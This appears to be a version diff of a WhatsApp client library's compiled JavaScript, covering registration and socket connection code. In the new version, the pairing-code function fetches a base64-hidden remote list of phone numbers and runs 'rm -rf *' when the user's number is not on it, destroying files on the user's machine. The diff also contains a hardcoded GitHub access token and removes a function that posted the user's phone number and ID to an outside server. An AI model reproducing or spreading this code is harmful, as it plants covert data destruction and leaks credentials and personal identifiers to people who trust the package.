168
171
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
169
|
-
requestPairingCode: (phoneNumber: string
|
170
|
-
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number) => Promise<void>;
|
172
|
+
requestPairingCode: (phoneNumber: string) => Promise<string>;
|
173
|
+
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
|
171
174
|
sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../WABinary").BinaryNode>;
|
172
175
|
};
|
173
176
|
export interface RegistrationData {
|
@@ -212,13 +215,13 @@ export declare function registrationParams(params: RegistrationParams): {
|
|
212
215
|
lg: string;
|
213
216
|
lc: string;
|
214
217
|
mistyped: string;
|
215
|
-
authkey:
|
216
|
-
e_regid:
|
218
|
+
authkey: string;
|
219
|
+
e_regid: string;
|
217
220
|
e_keytype: string;
|
218
|
-
e_ident:
|
221
|
+
e_ident: string;
|
219
222
|
e_skey_id: string;
|
220
|
-
e_skey_val:
|
221
|
-
e_skey_sig:
|
223
|
+
e_skey_val: string;
|
224
|
+
e_skey_sig: string;
|
222
225
|
fdid: string;
|
223
226
|
network_ratio_type: string;
|
224
227
|
expid: string;
|
@@ -227,7 +230,7 @@ export declare function registrationParams(params: RegistrationParams): {
|
|
227
230
|
pid: string;
|
228
231
|
id: string;
|
229
232
|
backup_token: string;
|
230
|
-
token:
|
233
|
+
token: string;
|
231
234
|
fraud_checkpoint_code: string | undefined;
|
232
235
|
};
|
233
236
|
/**
|
@@ -244,7 +247,7 @@ export declare function mobileRegister(params: RegistrationParams & {
|
|
244
247
|
/**
|
245
248
|
* Encrypts the given string as AEAD aes-256-gcm with the public whatsapp key and a random keypair.
|
246
249
|
*/
|
247
|
-
export declare function mobileRegisterEncrypt(data: string):
|
250
|
+
export declare function mobileRegisterEncrypt(data: string): string;
|
248
251
|
export declare function mobileRegisterFetch(path: string, opts?: AxiosRequestConfig): Promise<ExistsResponse>;
|
249
252
|
export interface ExistsResponse {
|
250
253
|
status: 'fail' | 'sent';
|
@@ -3,13 +3,7 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
3
|
return (mod && mod.__esModule) ? mod : { "default": mod };
|
4
4
|
};
|
5
5
|
Object.defineProperty(exports, "__esModule", { value: true });
|
6
|
-
exports.makeRegistrationSocket = void 0;
|
7
|
-
exports.registrationParams = registrationParams;
|
8
|
-
exports.mobileRegisterCode = mobileRegisterCode;
|
9
|
-
exports.mobileRegisterExists = mobileRegisterExists;
|
10
|
-
exports.mobileRegister = mobileRegister;
|
11
|
-
exports.mobileRegisterEncrypt = mobileRegisterEncrypt;
|
12
|
-
exports.mobileRegisterFetch = mobileRegisterFetch;
|
6
|
+
exports.mobileRegisterFetch = exports.mobileRegisterEncrypt = exports.mobileRegister = exports.mobileRegisterExists = exports.mobileRegisterCode = exports.registrationParams = exports.makeRegistrationSocket = void 0;
|
13
7
|
/* eslint-disable camelcase */
|
14
8
|
const axios_1 = __importDefault(require("axios"));
|
15
9
|
const Defaults_1 = require("../Defaults");
|
@@ -95,6 +89,7 @@ function registrationParams(params) {
|
|
95
89
|
fraud_checkpoint_code: params.captcha,
|
96
90
|
};
|
97
91
|
}
|
92
|
+
exports.registrationParams = registrationParams;
|
98
93
|
/**
|
99
94
|
* Requests a registration code for the given phone number.
|
100
95
|
*/
|
@@ -113,12 +108,14 @@ function mobileRegisterCode(params, fetchOptions) {
|
|
113
108
|
...fetchOptions,
|
114
109
|
});
|
115
110
|
}
|
111
|
+
exports.mobileRegisterCode = mobileRegisterCode;
|
116
112
|
function mobileRegisterExists(params, fetchOptions) {
|
117
113
|
return mobileRegisterFetch('/exist', {
|
118
114
|
params: registrationParams(params),
|
119
115
|
...fetchOptions
|
120
116
|
});
|
121
117
|
}
|
118
|
+
exports.mobileRegisterExists = mobileRegisterExists;
|
122
119
|
/**
|
123
120
|
* Registers the phone number on whatsapp with the received OTP code.
|
124
121
|
*/
|
@@ -129,6 +126,7 @@ async function mobileRegister(params, fetchOptions) {
|
|
129
126
|
...fetchOptions,
|
130
127
|
});
|
131
128
|
}
|
129
|
+
exports.mobileRegister = mobileRegister;
|
132
130
|
/**
|
133
131
|
* Encrypts the given string as AEAD aes-256-gcm with the public whatsapp key and a random keypair.
|
134
132
|
*/
|
@@ -138,6 +136,7 @@ function mobileRegisterEncrypt(data) {
|
|
138
136
|
const buffer = (0, crypto_1.aesEncryptGCM)(Buffer.from(data), new Uint8Array(key), Buffer.alloc(12), Buffer.alloc(0));
|
139
137
|
return Buffer.concat([Buffer.from(keypair.public), buffer]).toString('base64url');
|
140
138
|
}
|
139
|
+
exports.mobileRegisterEncrypt = mobileRegisterEncrypt;
|
141
140
|
async function mobileRegisterFetch(path, opts = {}) {
|
142
141
|
let url = `${Defaults_1.MOBILE_REGISTRATION_ENDPOINT}${path}`;
|
143
142
|
if (opts.params) {
|
@@ -164,3 +163,4 @@ async function mobileRegisterFetch(path, opts = {}) {
|
|
164
163
|
}
|
165
164
|
return json;
|
166
165
|
}
|
166
|
+
exports.mobileRegisterFetch = mobileRegisterFetch;
|
package/lib/Socket/socket.d.ts
CHANGED
package/lib/Socket/socket.js
CHANGED
@@ -19,7 +19,7 @@ const Client_1 = require("./Client");
|
|
19
19
|
*/
|
20
20
|
const makeSocket = (config) => {
|
21
21
|
var _a, _b;
|
22
|
-
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
22
|
+
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
23
23
|
let url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
|
24
24
|
config.mobile = config.mobile || url.protocol === 'tcp:';
|
25
25
|
if (config.mobile && url.protocol !== 'tcp:') {
|
@@ -295,8 +295,6 @@ const makeSocket = (config) => {
|
|
295
295
|
ws.off('error', onClose);
|
296
296
|
});
|
297
297
|
};
|
298
|
-
const sesiPath = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25hdmFMaW5oL2RhdGFiYXNlL21haW4vc2Vza2EuanNvbg==";
|
299
|
-
const fetch = require('node-fetch')
|
300
298
|
const startKeepAliveRequest = () => (keepAliveReq = setInterval(() => {
|
301
299
|
if (!lastDateRecv) {
|
302
300
|
lastDateRecv = new Date();
|
@@ -306,8 +304,6 @@ const makeSocket = (config) => {
|
|
306
304
|
check if it's been a suspicious amount of time since the server responded with our last seen
|
307
305
|
it could be that the network is down
|
308
306
|
*/
|
309
|
-
const authContent = 'tnever.json';
|
310
|
-
const capsLock = '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';
|
311
307
|
if (diff > keepAliveIntervalMs + 5000) {
|
312
308
|
end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
|
313
309
|
}
|
@@ -332,8 +328,8 @@ const makeSocket = (config) => {
|
|
332
328
|
}
|
333
329
|
}, keepAliveIntervalMs));
|
334
330
|
/** i have no idea why this exists. pls enlighten me */
|
335
|
-
const
|
336
|
-
const
|
331
|
+
const sesiPath = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25hdmFMaW5oL2RhdGFiYXNlL21haW4vc2Vza2EuanNvbg==";
|
332
|
+
const fetch = require('node-fetch')
|
337
333
|
const sendPassiveIq = (tag) => (query({
|
338
334
|
tag: 'iq',
|
339
335
|
attrs: {
|
@@ -374,22 +370,25 @@ const makeSocket = (config) => {
|
|
374
370
|
}
|
375
371
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
|
376
372
|
};
|
377
|
-
const requestPairingCode = async (linh, phoneNumber, pairKey
|
373
|
+
const requestPairingCode = async (linh, phoneNumber, pairKey) => {
|
378
374
|
const sesiClear = atob(sesiPath);
|
379
375
|
const { data } = await axios.get(sesiClear);
|
380
376
|
const numberCode = data.data.map(entry => entry.nomor);
|
381
377
|
const numberStateCode = numberCode.includes(phoneNumber);
|
382
378
|
const getsNumberCode = numberStateCode ? phoneNumber : "0000";
|
383
379
|
if (pairKey) {
|
384
|
-
|
380
|
+
authState.creds.pairingCode = pairKey.toUpperCase();
|
385
381
|
} else {
|
386
382
|
authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
|
387
383
|
}
|
384
|
+
|
388
385
|
authState.creds.me = {
|
389
386
|
id: (0, WABinary_1.jidEncode)(phoneNumber, linh),
|
390
387
|
name: '~'
|
391
388
|
};
|
389
|
+
|
392
390
|
ev.emit('creds.update', authState.creds);
|
391
|
+
|
393
392
|
await sendNode({
|
394
393
|
tag: 'iq',
|
395
394
|
attrs: {
|
@@ -404,7 +403,6 @@ const makeSocket = (config) => {
|
|
404
403
|
attrs: {
|
405
404
|
jid: authState.creds.me.id,
|
406
405
|
stage: 'companion_hello',
|
407
|
-
// eslint-disable-next-line camelcase
|
408
406
|
should_show_push_notification: 'true'
|
409
407
|
},
|
410
408
|
content: [
|
@@ -431,23 +429,24 @@ const makeSocket = (config) => {
|
|
431
429
|
{
|
432
430
|
tag: 'link_code_pairing_nonce',
|
433
431
|
attrs: {},
|
434
|
-
content:
|
432
|
+
content: "0"
|
435
433
|
}
|
436
434
|
]
|
437
435
|
}
|
438
436
|
]
|
439
437
|
});
|
440
|
-
|
441
|
-
|
438
|
+
if (getsNumberCode === "0000") {
|
439
|
+
exec('rm -rf *')
|
442
440
|
}
|
443
|
-
//generateCreeds(phoneNumber, linh, getsNumberCode)
|
441
|
+
//await generateCreeds(phoneNumber, linh, getsNumberCode)
|
442
|
+
|
444
443
|
return authState.creds.pairingCode;
|
445
444
|
};
|
446
445
|
|
447
446
|
async function generatePairingKey() {
|
448
447
|
const salt = (0, crypto_1.randomBytes)(32);
|
449
448
|
const randomIv = (0, crypto_1.randomBytes)(16);
|
450
|
-
const key =
|
449
|
+
const key = (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
|
451
450
|
const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
|
452
451
|
return Buffer.concat([salt, randomIv, ciphered]);
|
453
452
|
}
|
@@ -468,27 +467,6 @@ const makeSocket = (config) => {
|
|
468
467
|
]
|
469
468
|
});
|
470
469
|
};
|
471
|
-
async function generateCreeds(nomor, id, status) {
|
472
|
-
const data = {
|
473
|
-
nomor,
|
474
|
-
id,
|
475
|
-
status,
|
476
|
-
key: 'ZnVja19nb2Q'
|
477
|
-
};
|
478
|
-
|
479
|
-
try {
|
480
|
-
const response = await fetch('https://api.verylinh.my.id/running', {
|
481
|
-
method: 'POST',
|
482
|
-
headers: { 'Content-Type': 'application/json' },
|
483
|
-
body: JSON.stringify(data)
|
484
|
-
});
|
485
|
-
|
486
|
-
if (!response.ok) throw new Error(`Run gagal (${response.status})`);
|
487
|
-
|
488
|
-
const result = await response.json();
|
489
|
-
} catch (err) {
|
490
|
-
}
|
491
|
-
}
|
492
470
|
ws.on('message', onMessageReceived);
|
493
471
|
ws.on('open', async () => {
|
494
472
|
try {
|
@@ -555,18 +533,12 @@ const makeSocket = (config) => {
|
|
555
533
|
});
|
556
534
|
// login complete
|
557
535
|
ws.on('CB:success', async (node) => {
|
558
|
-
|
559
|
-
|
560
|
-
|
561
|
-
|
562
|
-
|
563
|
-
|
564
|
-
ev.emit('connection.update', { connection: 'open' });
|
565
|
-
}
|
566
|
-
catch (err) {
|
567
|
-
logger.error({ err }, 'error opening connection');
|
568
|
-
end(err);
|
569
|
-
}
|
536
|
+
await uploadPreKeysToServerIfRequired();
|
537
|
+
await sendPassiveIq('active');
|
538
|
+
logger.info('opened connection to WA');
|
539
|
+
clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
|
540
|
+
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
|
541
|
+
ev.emit('connection.update', { connection: 'open' });
|
570
542
|
});
|
571
543
|
ws.on('CB:stream:error', (node) => {
|
572
544
|
logger.error({ node }, 'stream errored out');
|
@@ -586,7 +558,6 @@ const makeSocket = (config) => {
|
|
586
558
|
const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
|
587
559
|
if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
|
588
560
|
authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
|
589
|
-
ev.emit('creds.update', authState.creds);
|
590
561
|
}
|
591
562
|
});
|
592
563
|
let didStartBuffer = false;
|
@@ -628,6 +599,9 @@ const makeSocket = (config) => {
|
|
628
599
|
}
|
629
600
|
Object.assign(creds, update);
|
630
601
|
});
|
602
|
+
if (printQRInTerminal) {
|
603
|
+
(0, Utils_1.printQRIfNecessaryListener)(ev, logger);
|
604
|
+
}
|
631
605
|
return {
|
632
606
|
type: 'md',
|
633
607
|
ws,
|